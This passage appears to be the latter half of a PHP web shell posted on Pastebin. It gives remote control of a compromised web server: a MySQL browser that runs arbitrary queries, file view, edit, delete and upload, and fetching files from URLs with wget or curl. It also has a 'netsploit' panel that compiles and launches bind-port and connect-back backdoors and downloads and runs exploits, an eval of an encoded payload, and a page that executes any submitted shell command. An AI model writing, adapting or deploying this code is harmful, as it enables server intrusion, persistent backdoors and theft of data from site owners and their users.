  449. $msg .= "<tr><td><a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $db . "&amp;table=" . $table . "\">$table</a></td></tr>";
  450. }
  451. $msg .= "</table>";
  452. } elseif (isset($_GET['table']) && (!isset($_GET['sqlquery']))) {
  453. $db = $_GET['db'];
  454. $table = $_GET['table'];
  455. $query = "SELECT * FROM " . $db . "." . $table . " LIMIT 0,100;";
  456. $msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <input type=\"hidden\" name=\"table\" value=\"" . $table . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
  457. $columns = array();
  458. $msg = "<table class=\"explore\" style=\"width:99%;\">";
  459. $hasil = @mysql_query("SHOW FIELDS FROM " . $db . "." . $table);
  460. while (list($column) = @mysql_fetch_row($hasil)) {
  461. $msg .= "<th>$column</th>";
  462. $kolum = $column;
  463. }
  464. $msg .= "</tr>";
  465. $hasil = @mysql_query("SELECT count(*) FROM " . $db . "." . $table);
  466. list($total) = mysql_fetch_row($hasil);
  467. if (isset($_GET['z']))
  468. $page = (int) $_GET['z'];
  469. else
  470. $page = 1;
  471. $pagenum = 100;
  472. $totpage = ceil($total / $pagenum);
  473. $start = (($page - 1) * $pagenum);
  474. $hasil = @mysql_query("SELECT * FROM " . $db . "." . $table . " LIMIT " . $start . "," . $pagenum);
  475. while ($datas = @mysql_fetch_assoc($hasil)) {
  476. $msg .= "<tr>";
  477. foreach ($datas as $data) {
  478. if (trim($data) == "")
  479. $data = "&nbsp;";
  480. $msg .= "<td>$data</td>";
  481. }
  482. $msg .= "</tr>";
  483. }
  484. $msg .= "</table>";
  485. $head = "<div style=\"padding:10px 0 0 6px;\"> <form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <input type=\"hidden\" name=\"table\" value=\"" . $table . "\" /> Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
  486. for ($i = 1; $i <= $totpage; $i++) {
  487. $head .= "<option value=\"" . $i . "\">" . $i . "</option>";
  488. if ($i == $_GET['z'])
  489. $head .= "<option value=\"" . $i . "\" selected=\"selected\">" . $i . "</option>";
  490. }
  491. $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
  492. $msg = $msgq . $head . $msg;
  493. } elseif (isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")) {
  494. $db = $_GET['db'];
  495. $query = magicboom($_GET['sqlquery']);
  496. $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
  497. @mysql_select_db($db);
  498. $querys = explode(";", $query);
  499. foreach ($querys as $query) {
  500. if (trim($query) != "") {
  501. $hasil = mysql_query($query);
  502. if ($hasil) {
  503. $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . ";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
  504. $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
  505. for ($i = 0; $i < @mysql_num_fields($hasil); $i++)
  506. $msg .= "<th>" . htmlspecialchars(@mysql_field_name($hasil, $i)) . "</th>";
  507. $msg .= "</tr>";
  508. for ($i = 0; $i < @mysql_num_rows($hasil); $i++) {
  509. $rows = @mysql_fetch_array($hasil);
  510. $msg .= "<tr>";
  511. for ($j = 0; $j < @mysql_num_fields($hasil); $j++) {
  512. if ($rows[$j] == "")
  513. $dataz = "&nbsp;";
  514. else
  515. $dataz = $rows[$j];
  516. $msg .= "<td>" . $dataz . "</td>";
  517. }
  518. $msg .= "</tr>";
  519. }
  520. $msg .= "</table>";
  521. } else
  522. $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . ";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  523. }
  524. }
  525. } else {
  526. $query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";
  527. $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
  528. $dbs = array();
  529. $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
  530. $hasil = @mysql_list_dbs($con);
  531. while (list($db) = @mysql_fetch_row($hasil)) {
  532. @array_push($dbs, $db);
  533. }
  534. @sort($dbs);
  535. foreach ($dbs as $db) {
  536. $msg .= "<tr><td><a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $db . "\">$db</a></td></tr>";
  537. }
  538. $msg .= "</table>";
  539. }
  540. @mysql_close($con);
  541. } else
  542. $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
  543. echo $msg;
  544. } else {
  545. ?>
  546. <form action="?" method="get">
  547. <input type="hidden" name="y" value="<?php
  548. echo $pwd;
  549. ?>" /> <input type="hidden" name="x" value="mysql" />
  550. <table class="tabnet" style="width:300px;">
  551. <tr>
  552. <th colspan="2">Connect to mySQL server</th>
  553. </tr>
  554. <tr>
  555. <td>&nbsp;&nbsp;Host</td>
  556. <td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td>
  557. </tr>
  558. <tr>
  559. <td>&nbsp;&nbsp;Username</td>
  560. <td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td>
  561. </tr>
  562. <tr>
  563. <td>&nbsp;&nbsp;Password</td>
  564. <td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td>
  565. </tr>
  566. <tr>
  567. <td>&nbsp;&nbsp;Port</td>
  568. <td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
  569. </tr>
  570. </table>
  571. </form>
  572. <?php
  573. }
  574. } elseif (isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {
  575. @ob_start();
  576. @eval("phpinfo();");
  577. $buff = @ob_get_contents();
  578. @ob_end_clean();
  579. $awal = strpos($buff, "<body>") + 6;
  580. $akhir = strpos($buff, "</body>");
  581. echo "<div class=\"phpinfo\">" . substr($buff, $awal, $akhir - $awal) . "</div>";
  582. } elseif (isset($_GET['x']) && ($_GET['x'] == 'logout')) {
  583. @session_start();
  584. @session_unregister("login");
  585. echo "<meta http-equiv='refresh' content='0; url=?y=" . $pwd . "' />";
  586. "</div>";
  587. } elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {
  588. @eval(gzinflate(base64_decode($jumper)));
  589. "</div>";
  590. } elseif (isset($_GET['view']) && ($_GET['view'] != "")) {
  591. if (is_file($_GET['view'])) {
  592. if (!isset($file))
  593. $file = magicboom($_GET['view']);
  594. if (!$win && $posix) {
  595. $name = @posix_getpwuid(@fileowner($file));
  596. $group = @posix_getgrgid(@filegroup($file));
  597. $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
  598. } else {
  599. $owner = $user;
  600. }
  601. $filn = basename($file);
  602. echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\"> <tr><td>Filename</td><td><span id=\"" . clearspace($filn) . "_link\">" . $file . "</span> <form action=\"?y=" . $pwd . "&amp;view=$file\" method=\"post\" id=\"" . clearspace($filn) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"" . $filn . "\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $filn . "\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\" /> </form> </td></tr> <tr><td>Size</td><td>" . ukuran($file) . "</td></tr> <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr> <tr><td>Owner</td><td>" . $owner . "</td></tr> <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr> <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr> <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr> <tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr> <tr><td>View</td><td><a href=\"?y=" . $pwd . "&amp;view=" . $file . "\">text</a> | <a href=\"?y=" . $pwd . "&amp;view=" . $file . "&amp;type=code\">code</a> | <a href=\"?y=" . $pwd . "&amp;view=" . $file . "&amp;type=image\">image</a></td></tr> </table> ";
  603. if (isset($_GET['type']) && ($_GET['type'] == 'image')) {
  604. echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=" . $pwd . "&amp;img=" . $filn . "\"></div>";
  605. } elseif (isset($_GET['type']) && ($_GET['type'] == 'code')) {
  606. echo "<div class=\"viewfile\">";
  607. $file = wordwrap(@file_get_contents($file), "240", "\n");
  608. @highlight_string($file);
  609. echo "</div>";
  610. } else {
  611. echo "<div class=\"viewfile\">";
  612. echo nl2br(htmlentities((@file_get_contents($file))));
  613. echo "</div>";
  614. }
  615. } elseif (is_dir($_GET['view'])) {
  616. echo showdir($pwd, $prompt);
  617. }
  618. } elseif (isset($_GET['edit']) && ($_GET['edit'] != "")) {
  619. if (isset($_POST['save'])) {
  620. $file = $_POST['saveas'];
  621. $content = magicboom($_POST['content']);
  622. if ($filez = @fopen($file, "w")) {
  623. $time = date("d-M-Y H:i", time());
  624. if (@fwrite($filez, $content))
  625. $msg = "file saved <span class=\"gaya\">@</span> " . $time;
  626. else
  627. $msg = "failed to save";
  628. @fclose($filez);
  629. } else
  630. $msg = "permission denied";
  631. }
  632. if (!isset($file))
  633. $file = $_GET['edit'];
  634. if ($filez = @fopen($file, "r")) {
  635. $content = "";
  636. while (!feof($filez)) {
  637. $content .= htmlentities(str_replace("''", "'", fgets($filez)));
  638. }
  639. @fclose($filez);
  640. }
  641. ?>
  642. <form action="?y=<?php
  643. echo $pwd;
  644. ?>&amp;edit=<?php
  645. echo $file;
  646. ?>" method="post">
  647. <table class="cmdbox">
  648. <tr>
  649. <td colspan="2"> <textarea class="output" name="content"> <?php
  650. echo $content;
  651. ?> </textarea>
  652. <tr>
  653. <td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php
  654. echo $file;
  655. ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;<?php
  656. echo $msg;
  657. ?></td>
  658. </tr>
  659. </table>
  660. </form>
  661. <?php
  662. } elseif (isset($_GET['x']) && ($_GET['x'] == 'upload')) {
  663. if (isset($_POST['uploadcomp'])) {
  664. if (is_uploaded_file($_FILES['file']['tmp_name'])) {
  665. $path = magicboom($_POST['path']);
  666. $fname = $_FILES['file']['name'];
  667. $tmp_name = $_FILES['file']['tmp_name'];
  668. $pindah = $path . $fname;
  669. $stat = @move_uploaded_file($tmp_name, $pindah);
  670. if ($stat) {
  671. $msg = "file uploaded to $pindah";
  672. } else
  673. $msg = "failed to upload $fname";
  674. } else
  675. $msg = "failed to upload $fname";
  676. } elseif (isset($_POST['uploadurl'])) {
  677. $pilihan = trim($_POST['pilihan']);
  678. $wurl = trim($_POST['wurl']);
  679. $path = magicboom($_POST['path']);
  680. $namafile = download($pilihan, $wurl);
  681. $pindah = $path . $namafile;
  682. if (is_file($pindah)) {
  683. $msg = "file uploaded to $pindah";
  684. } else
  685. $msg = "failed to upload $namafile";
  686. }
  687. ?>
  688. <form action="?y=<?php
  689. echo $pwd;
  690. ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  691. <table class="tabnet" style="width:320px;padding:0 1px;">
  692. <tr>
  693. <th colspan="2">Upload from computer</th>
  694. </tr>
  695. <tr>
  696. <td colspan="2">
  697. <p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p>
  698. </td>
  699. <tr>
  700. <td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php
  701. echo $pwd;
  702. ?>" /></td>
  703. </tr>
  704. </tr>
  705. </table>
  706. </form>
  707. <table class="tabnet" style="width:320px;padding:0 1px;">
  708. <tr>
  709. <th colspan="2">Upload from url</th>
  710. </tr>
  711. <tr>
  712. <td colspan="2">
  713. <form method="post" style="margin:0;padding:0;" actions="?y=<?php
  714. echo $pwd;
  715. ?>&amp;x=upload">
  716. <table>
  717. <tr>
  718. <td>url</td>
  719. <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td>
  720. </tr>
  721. <tr>
  722. <td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php
  723. echo $pwd;
  724. ?>" /></td>
  725. </tr>
  726. <tr>
  727. <td>
  728. <select size="1" class="inputz" name="pilihan">
  729. <option value="wwget">wget</option>
  730. <option value="wlynx">lynx</option>
  731. <option value="wfread">fread</option>
  732. <option value="wfetch">fetch</option>
  733. <option value="wlinks">links</option>
  734. <option value="wget">GET</option>
  735. <option value="wcurl">curl</option>
  736. </select>
  737. </td>
  738. <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td>
  739. </tr>
  740. </form>
  741. </table>
  742. </td>
  743. </tr>
  744. </table>
  745. <div style="text-align:center;margin:2px;"><?php
  746. echo $msg;
  747. ?></div>
  748. <?php
  749. } elseif (isset($_GET['x']) && ($_GET['x'] == 'netsploit')) {
  750. if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
  751. $port = trim($_POST['port']);
  752. $passwrd = trim($_POST['bind_pass']);
  753. tulis("bdc.c", $port_bind_bd_c);
  754. exe("gcc -o bdc bdc.c");
  755. exe("chmod 777 bdc");
  756. @unlink("bdc.c");
  757. exe("./bdc " . $port . " " . $passwrd . " &");
  758. $scan = exe("ps aux");
  759. if (eregi("./bdc $por", $scan)) {
  760. $msg = "<p>Process found running, backdoor setup successfully.</p>";
  761. } else {
  762. $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
  763. }
  764. } elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
  765. $port = trim($_POST['port']);
  766. $passwrd = trim($_POST['bind_pass']);
  767. tulis("bdp", $port_bind_bd_pl);
  768. exe("chmod 777 bdp");
  769. $p2 = which("perl");
  770. exe($p2 . " bdp " . $port . " &");
  771. $scan = exe("ps aux");
  772. if (eregi("$p2 bdp $port", $scan)) {
  773. $msg = "<p>Process found running, backdoor setup successfully.</p>";
  774. } else {
  775. $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
  776. }
  777. } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
  778. $ip = trim($_POST['ip']);
  779. $port = trim($_POST['backport']);
  780. tulis("bcc.c", $back_connect_c);
  781. exe("gcc -o bcc bcc.c");
  782. exe("chmod 777 bcc");
  783. @unlink("bcc.c");
  784. exe("./bcc " . $ip . " " . $port . " &");
  785. $msg = "Now script try connect to " . $ip . " port " . $port . " ...";
  786. } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
  787. $ip = trim($_POST['ip']);
  788. $port = trim($_POST['backport']);
  789. tulis("bcp", $back_connect);
  790. exe("chmod +x bcp");
  791. $p2 = which("perl");
  792. exe($p2 . " bcp " . $ip . " " . $port . " &");
  793. $msg = "Now script try connect to " . $ip . " port " . $port . " ...";
  794. } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
  795. $pilihan = trim($_POST['pilihan']);
  796. $wurl = trim($_POST['wurl']);
  797. $namafile = download($pilihan, $wurl);
  798. if (is_file($namafile)) {
  799. $msg = exe($wcmd);
  800. } else
  801. $msg = "error: file not found $namafile";
  802. }
  803. ?>
  804. <table class="tabnet">
  805. <tr>
  806. <th>Port Binding</th>
  807. <th>Connect Back</th>
  808. <th>Load and Exploit</th>
  809. </tr>
  810. <tr>
  811. <td>
  812. <table>
  813. <form method="post" actions="?y=<?php
  814. echo $pwd;
  815. ?>&amp;x=netsploit">
  816. <tr>
  817. <td>Port</td>
  818. <td><input class="inputz" type="text" name="port" size="26" value="<?php
  819. echo $bindport;
  820. ?>"></td>
  821. </tr>
  822. <tr>
  823. <td>Password</td>
  824. <td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php
  825. echo $bindport_pass;
  826. ?>"></td>
  827. </tr>
  828. <tr>
  829. <td>Use</td>
  830. <td style="text-align:justify">
  831. <p>
  832. <select class="inputz" size="1" name="use">
  833. <option value="Perl">Perl</option>
  834. <option value="C">C</option>
  835. </select>
  836. <input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px">
  837. </td>
  838. </tr>
  839. </form>
  840. </table>
  841. </td>
  842. <td>
  843. <table>
  844. <form method="post" actions="?y=<?php
  845. echo $pwd;
  846. ?>&amp;x=netsploit">
  847. <tr>
  848. <td>IP</td>
  849. <td><input class="inputz" type="text" name="ip" size="26" value="<?php
  850. echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"));
  851. ?>"></td>
  852. </tr>
  853. <tr>
  854. <td>Port</td>
  855. <td><input class="inputz" type="text" name="backport" size="26" value="<?php
  856. echo $bindport;
  857. ?>"></td>
  858. </tr>
  859. <tr>
  860. <td>Use</td>
  861. <td style="text-align:justify">
  862. <p>
  863. <select size="1" class="inputz" name="use">
  864. <option value="Perl">Perl</option>
  865. <option value="C">C</option>
  866. </select>
  867. <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px">
  868. </td>
  869. </tr>
  870. </form>
  871. </table>
  872. </td>
  873. <td>
  874. <table>
  875. <form method="post" actions="?y=<?php
  876. echo $pwd;
  877. ?>&amp;x=netsploit">
  878. <tr>
  879. <td>url</td>
  880. <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td>
  881. </tr>
  882. <tr>
  883. <td>cmd</td>
  884. <td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
  885. </tr>
  886. <tr>
  887. <td>
  888. <select size="1" class="inputz" name="pilihan">
  889. <option value="wwget">wget</option>
  890. <option value="wlynx">lynx</option>
  891. <option value="wfread">fread</option>
  892. <option value="wfetch">fetch</option>
  893. <option value="wlinks">links</option>
  894. <option value="wget">GET</option>
  895. <option value="wcurl">curl</option>
  896. </select>
  897. </td>
  898. <td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td>
  899. </tr>
  900. </form>
  901. </table>
  902. </td>
  903. </tr>
  904. </table>
  905. <div style="text-align:center;margin:2px;"><?php
  906. echo $msg;
  907. ?></div>
  908. <?php
  909. } elseif (isset($_GET['x']) && ($_GET['x'] == 'shell')) {
  910. ?>
  911. <form action="?y=<?php
  912. echo $pwd;
  913. ?>&amp;x=shell" method="post">
  914. <table class="cmdbox">
  915. <tr>
  916. <td colspan="2"> <textarea class="output" readonly> <?php
  917. if (isset($_POST['submitcmd'])) {
  918. echo @exe($_POST['cmd']);
  919. }
  920. ?> </textarea>
  921. <tr>
  922. <td colspan="2"><?php
  923. echo $prompt;
  924. ?> <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:6%;" /></td>
  925. </tr>
  926. </table>
  927. </form>
  928. <?php
  929. } else {
  930. if (isset($_GET['delete']) && ($_GET['delete'] != "")) {
  931. $file = $_GET['delete'];
  932. @unlink($file);
  933. } elseif (isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {
  934. @rmdir(rtrim($_GET['fdelete'], DIRECTORY_SEPARATOR));
  935. } elseif (isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {
  936. $path = $pwd . $_GET['mkdir'];
  937. @mkdir($path);
  938. }
  939. $buff = showdir($pwd, $prompt);
  940. echo $buff;
  941. }
  942. ?>
  943. <div class="info">[By <span class="gaya"><a href="?"><?php
  944. echo $xName;
  945. ?></a></span> H4X0R__]</div>
  946. <div class="jaya"> &copy; <?php
  947. echo date("Y", time()) . " " . $xName;
  948. ?> ;-) </div>
  949. </div>
  950. </body>
  951. </html>>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!